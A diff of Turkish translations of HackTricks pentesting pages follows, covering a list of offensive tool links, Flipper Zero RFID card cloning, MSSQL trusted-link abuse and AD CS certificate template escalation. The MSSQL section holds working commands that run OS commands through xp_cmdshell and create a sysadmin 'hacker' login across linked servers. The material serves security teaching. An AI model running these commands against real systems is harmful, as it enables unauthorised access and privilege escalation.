@ -97,13 +101,13 @@ Sonrasında:
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
Firmware'i çevrimiçi bulamazsak nasıl çıkarırız: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
Firmware'i çevrimdışı bulamazsak nasıl çıkarırız: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
Analiz için zafiyetli bir firmware: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
Analiz etmek için güvenlik açıklarına sahip bir firmware: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
ve firmware analizi için OWASP metodolojisi: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
ve firmware analiz etmek için OWASP metodolojisi: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
Firmware emülasyonu: FIRMADYNE (https://github.com/firmadyne/firmadyne/), Linux tabanlı firmware'lerin emülasyonunu ve dinamik analizini otomatikleştirmek için bir platformdur.
Firmware emülasyonu: FIRMADYNE (https://github.com/firmadyne/firmadyne/) Linux tabanlı firmware'lerin emülasyonunu ve dinamik analizini otomatikleştirmek için bir platformdur.
# DİĞER
@ -113,21 +117,34 @@ Firmware emülasyonu: FIRMADYNE (https://github.com/firmadyne/firmadyne/), Linux
* [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Statik kod analizi
* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : Sonsuz bir banner gönderen SSH tarpiti.
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : Yavaşça sonsuz bir banner gönderen SSH tuzagı.
* AWS ve Bulut araçları: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
* Phishing için IFS (Interplanetary File System): [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
* Phising için IFS (Interplanetary File System): [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
* IP dönüşüm hizmetleri: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
* Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
* [https://theia-ide.org/](https://theia-ide.org) : Çevrimiçi IDE
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : BugBounties'e başlamak için kaynaklar
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : BugBounty'ye başlamak için kaynaklar
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS pentesting araçları
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Anahtar kelimeler
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : IoT hackleme (Wifi, BLE, SSDP, MDNS)
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : IoT (Wifi, BLE, SSDP, MDNS) hackleme
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : taramayı otomatikleştirme
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Bu liste, Electron.js ile ilgili güvenlik konularını kapsamayı amaçlamaktadır.
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Bu liste Electron.js ile ilgili güvenlik konularını kapsamayı amaçlar.
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : BB programları hakkında bilgi
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubumuza katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) adresinden takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,18 +2,23 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**ve HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR gönderin.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Giriş
125kHz etiketlerin nasıl çalıştığı hakkında daha fazla bilgi için şuna bakın:
@ -24,14 +29,14 @@ HackTricks'ı desteklemenin diğer yolları:
## Eylemler
Bu tür etiketler hakkında daha fazla bilgi için [**bu girişe**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz) bakın.
Bu tür etiketler hakkında daha fazla bilgi için [**bu giriş yazısını okuyun**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz).
### Oku
Kart bilgilerini **okumaya** çalışır. Sonra onları **taklit** edebilir.
{% hint style="warning" %}
Bazı interkomlar, anahtar kopyalamayı önlemeye çalışarak okumadan önce yazma komutu gönderir. Yazma başarılı olursa, o etiket sahte olarak kabul edilir. Flipper RFID taklit ettiğinde, okuyucunun orijinalinden ayırt etme şansı olmadığından, bu tür sorunlar ortaya çıkmaz.
Bazı interkomlar, anahtar kopyalamayı önlemeye çalışarak okumadan önce bir yazma komutu gönderir. Yazma başarılı olursa, o etiket sahte olarak kabul edilir. Flipper RFID taklit ettiğinde, okuyucunun orijinalinden ayırt etme şansı olmadığından, bu tür sorunlar ortaya çıkmaz.
{% endhint %}
### El ile Ekle
@ -40,18 +45,18 @@ Flipper Zero'da **manuel olarak verileri belirterek sahte kartlar oluşturabilir
#### Kartlardaki Kimlikler
Bazı durumlarda, bir kart aldığınızda, kartın kimliğini (veya bir kısmını) kartın üzerinde yazılı olarak bulabilirsiniz.
Bazı durumlarda, bir kart aldığınızda, kartın kimliğinin (veya bir kısmının) kartın üzerine yazıldığını görebilirsiniz.
* **EM Marin**
Örneğin, bu EM-Marin kartında fiziksel kartta **son 3'ten 5 baytııkça okumak mümkündür**.\
Diğer 2'si karttan okuyamıyorsanız, brute-force yöntemiyle bulunabilir.
Örneğin, bu EM-Marin kartında fiziksel kartta **son 3'ü açık olan 5 bayt okunabilir**.\
Diğer 2'si karttan okunamıyorsa brute-force yöntemiyle bulunabilir.
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
* **HID**
Aynı durum bu HID kartında da geçerlidir, burada sadece 3 bayttan 2'si kartta yazılı olarak bulunabilir
Aynı durum bu HID kartında da geçerlidir, burada sadece 3 bayttan 2'si kartta yazılıdır.
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
@ -63,16 +68,21 @@ Bir kartı **kopyaladıktan** veya **manuel olarak** kimliği **girdikten** sonr
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**ve HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR gönderin.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>

View file

@ -2,16 +2,21 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) katılın ya da beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın.**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **MSSQL Sıralama / Keşif**
Powershell modülü [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) bu durumda çok faydalıdır.
@ -32,7 +37,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### Alan içerisinden numaralandırma
### Alan içinden numaralandırma
```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
@ -67,7 +72,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
### MSSQL Uzaktan Kod Çalıştırma (RCE)
MSSQL ana bilgisayarında **komutlar** çalıştırmak da mümkün olabilir.
MSSQL ana bilgisayarında **komutlar çalıştırmak** da mümkün olabilir
```powershell
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
@ -80,9 +85,9 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
## MSSQL Güvenilir Bağlantılar
Bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir olarak kabul ediliyorsa (veritabanı bağlantısı). Kullanıcı, güvenilen veritabanı üzerinde ayrıcalıklara sahipse, **güven ilişkisini kullanarak diğer örnekte de sorguları yürütebilecektir**. Bu güvenler zincirlenebilir ve kullanıcı belirli bir noktada yanlış yapılandırılmış bir veritabanı bulabilir ve burada komutları yürütebilir.
Bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir olarak kabul ediliyorsa (veritabanı bağlantısı). Kullanıcı, güvenilen veritabanı üzerinde ayrıcalıklara sahipse, **güven ilişkisini kullanarak diğer örnekte de sorguları yürütebilecektir**. Bu güvenler zincirlenebilir ve kullanıcı belirli bir noktada yanlış yapılandırılmış bir veritabanı bulabilir ve komutları yürütebilir.
**Veritabanları arasındaki bağlantılar, orman güvenlik ilişkileri arasında bile çalışır.**
**Veritabanları arasındaki bağlantılar, orman güvenlik ilişkileri üzerinden bile çalışır.**
### Powershell Kötüye Kullanımı
```powershell
@ -126,13 +131,13 @@ msf> use exploit/windows/mssql/mssql_linkcrawler
```
### Elde Edilebilecek Güvenilir Bağlantıları Bulma
Metasploit'in yalnızca MSSQL'de `openquery()` işlevini kötüye kullanmaya çalışacağını unutmayın (yani, `openquery()` ile komut çalıştıramazsanız komutları yürütmek için **manuel olarak** `EXECUTE` yöntemini denemeniz gerekecektir, aşağıya bakınız.)
Metasploit'in yalnızca MSSQL'de `openquery()` işlevini kötüye kullanmaya çalışacağını unutmayın (yani, `openquery()` ile komut çalıştıramazsanız komutları çalıştırmak için **manuel olarak** `EXECUTE` yöntemini denemeniz gerekecektir, aşağıya bakınız.)
### Manuel - Openquery()
**Linux** üzerinden **sqsh** ve **mssqlclient.py** kullanarak bir MSSQL konsol kabuğu elde edebilirsiniz.
**Windows** üzerinden de [**HeidiSQL**](https://www.heidisql.com) gibi bir **MSSQL istemcisi** kullanarak bağlantıları bulabilir ve komutları manuel olarak çalıştırabilirsiniz.
**Windows** üzerinden ayrıca [**HeidiSQL**](https://www.heidisql.com) gibi bir **MSSQL istemcisi** kullanarak bağlantıları bulabilir ve komutları manuel olarak çalıştırabilirsiniz.
_Windows kimlik doğrulaması kullanarak giriş yapma:_
@ -143,9 +148,9 @@ EXEC sp_linkedservers;
```
![](<../../.gitbook/assets/image (713).png>)
#### Güvenilir bağlantıda sorguları çalıştırın
#### Güvenilir bağlantıda sorguları yürüt
Bağlantı üzerinden sorguları çalıştırın (örnek: yeni erişilebilir örnekte daha fazla bağlantı bulun):
Bağlantı aracılığıyla sorguları yürüt (örnek: yeni erişilebilir örnekte daha fazla bağlantı bulun):
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
@ -165,7 +170,9 @@ SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", '
```
### Kılavuz - EXECUTE
`openquery()` içerisinden `exec xp_cmdshell` gibi işlemleri gerçekleştiremiyorsanız `EXECUTE` yöntemini deneyin.
`openquery()` içerisinden `exec xp_cmdshell` gibi eylemleri gerçekleştiremiyorsanız `EXECUTE` yöntemini deneyin.
Trusted bağlantıları da `EXECUTE` kullanarak kötüye kullanabilirsiniz:
```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
@ -175,6 +182,22 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
**MSSQL yerel kullanıcısı** genellikle **`SeImpersonatePrivilege`** adı verilen özel bir ayrıcalığa sahiptir. Bu, hesabın "kimlik doğrulamadan sonra bir istemciyi taklit etmesine" olanak tanır.
Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu bir sahte veya ara hizmete kimlik doğrulamaya zorlamaktır. Bu sahte hizmet, SİSTEM hizmetini kimlik doğrulamaya çalışırken taklit edebilir.
Birçok yazarın ortaya koyduğu bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ara hizmete kimlik doğrulamaya zorlamaktır. Bu sahte hizmet, SİSTEM hizmetini kimlik doğrulamaya çalışırken taklit edebilir.
[SweetPotato](https://github.com/CCob/SweetPotato), bu çeşitli tekniklerin bir koleksiyonunu içerir ve Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilir.
[SweetPotato](https://github.com/CCob/SweetPotato), bu çeşitli tekniklerin bir koleksiyonuna sahiptir ve bunlar Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilir.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **HackTricks'te şirketinizin reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun.**
</details>

View file

@ -6,15 +6,19 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Bu, gönderilerin yükseltme teknikleri bölümlerinin özetidir:**
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Bu, yayınların yükseltme teknikleri bölümlerinin özetidir:**
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
@ -28,24 +32,24 @@ HackTricks'ı desteklemenin diğer yolları:
* **Kurumsal CA tarafından düşük ayrıcalıklı kullanıcılara kayıt hakları verilir.**
* **Yönetici onayı gerekli değildir.**
* **Yetkili personel imzaları gerekli değildir.**
* **Yetkili personelin imzaları gerekli değildir.**
* **Sertifika şablonlarındaki güvenlik tanımlayıcılarıırı derecede izin verici şekilde yapılandırılmıştır, bu da düşük ayrıcalıklı kullanıcıların kayıt hakları elde etmesine olanak tanır.**
* **Sertifika şablonları, kimlik doğrulamayı kolaylaştıran EKU'ları tanımlamak üzere yapılandırılmıştır:**
* Uzatılmış Anahtar Kullanımı (EKU) tanımlayıcıları, Müşteri Kimlik Doğrulaması (OID 1.3.6.1.5.5.7.3.2), PKINIT Müşteri Kimlik Doğrulaması (1.3.6.1.5.2.3.4), Akıllı Kart Girişi (OID 1.3.6.1.4.1.311.20.2.2), Herhangi Bir Amaç (OID 2.5.29.37.0) veya EKU olmayan (AltCA) gibi dahil edilmiştir.
* Uzatılmış Anahtar Kullanımı (EKU) tanımlayıcıları, Müşteri Kimliği Doğrulaması (OID 1.3.6.1.5.5.7.3.2), PKINIT Müşteri Kimliği Doğrulaması (1.3.6.1.5.2.3.4), Akıllı Kart Girişi (OID 1.3.6.1.4.1.311.20.2.2), Herhangi Bir Amaç (OID 2.5.29.37.0) veya EKU olmayan (AltCA) gibi dahil edilir.
* **İsteyenlerin Sertifika İmzalama İsteği'nde (CSR) bir subjectAltName eklemesine izin verilir:**
* Eğer mevcutsa, Active Directory (AD) bir sertifikadaki subjectAltName (SAN)'yi kimlik doğrulaması için önceliklendirir. Bu, bir CSR'da SAN'ı belirterek, bir sertifika istenerek herhangi bir kullanıcıyı (örneğin, bir etki alanı yöneticisi) taklit etmek için kullanılabilir. Bir SAN'ın isteyen tarafından belirtilebilir olup olmadığı, sertifika şablonunun AD nesnesinde `mspki-certificate-name-flag` özelliği aracılığıyla belirtilir. Bu özellik bir bit maskesidir ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, isteyenin SAN'ı belirtmesine izin verir.
* Eğer mevcutsa, Active Directory (AD) bir sertifikadaki subjectAltName (SAN) önceliğini kimlik doğrulama için kullanır. Bu, bir CSR'da SAN'ı belirterek, bir sertifika isteyicisinin herhangi bir kullanıcıyı (örneğin, bir etki alanı yöneticisini) taklit etmek için bir sertifika isteyebileceği anlamına gelir. Bir isteyicinin SAN'ı belirleyip belirleyemeyeceği, sertifika şablonunun AD nesnesindeki `mspki-certificate-name-flag` özelliği aracılığıyla belirtilir. Bu özellik bir bit maskesidir ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, isteyicinin SAN'ı belirlemesine izin verir.
{% hint style="danger" %}
Belirtilen yapılandırma, düşük ayrıcalıklı kullanıcıların istedikleri herhangi bir SAN ile sertifikalar talep etmelerine olanak tanır, böylece Kerberos veya SChannel aracılığıyla herhangi bir etki alanı prensibi olarak kimlik doğrulaması yapabilirler.
Belirtilen yapılandırma, düşük ayrıcalıklı kullanıcıların istedikleri herhangi bir SAN ile sertifikalar talep etmelerine olanak tanır, bu da Kerberos veya SChannel aracılığıyla herhangi bir etki alanı prensibi olarak kimlik doğrulamasını sağlar.
{% endhint %}
Bu özellik bazen, ürünlerin veya dağıtım hizmetlerinin HTTPS veya ana bilgisayar sertifikalarının anlık olarak oluşturulmasını desteklemek veya anlayış eksikliğinden dolayı etkinleştirilmiştir.
Bu özellik bazen ürünler veya dağıtım hizmetleri tarafından HTTPS veya ana bilgisayar sertifikalarının anlık olarak oluşturulmasını desteklemek veya anlayış eksikliğinden dolayı etkinleştirilir.
Bu seçeneği içeren bir sertifika oluşturmanın bir uyarıyı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` özelliğine sahip olan `WebServer` şablonu) çoğaltıldığında ve ardından kimlik doğrulama OID'si içerecek şekilde değiştirildiğinde böyle olmadığı belirtilmiştir.
Bu seçeneği içeren bir sertifika oluşturmanın bir uyarıyı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` özelliğine sahip olan `WebServer` şablonu) çoğaltıldığında ve ardından kimlik doğrulama OID'si içerecek şekilde değiştirildiğinde böyle bir durumun olmadığı belirtilmiştir.
### Kötüye Kullanım
**Zararlı sertifika şablonlarını bulmak** için şunu çalıştırabilirsiniz:
**Zararlı sertifika şablonlarını bulmak** için şunları çalıştırabilirsiniz:
```bash
Certify.exe find /vulnerable
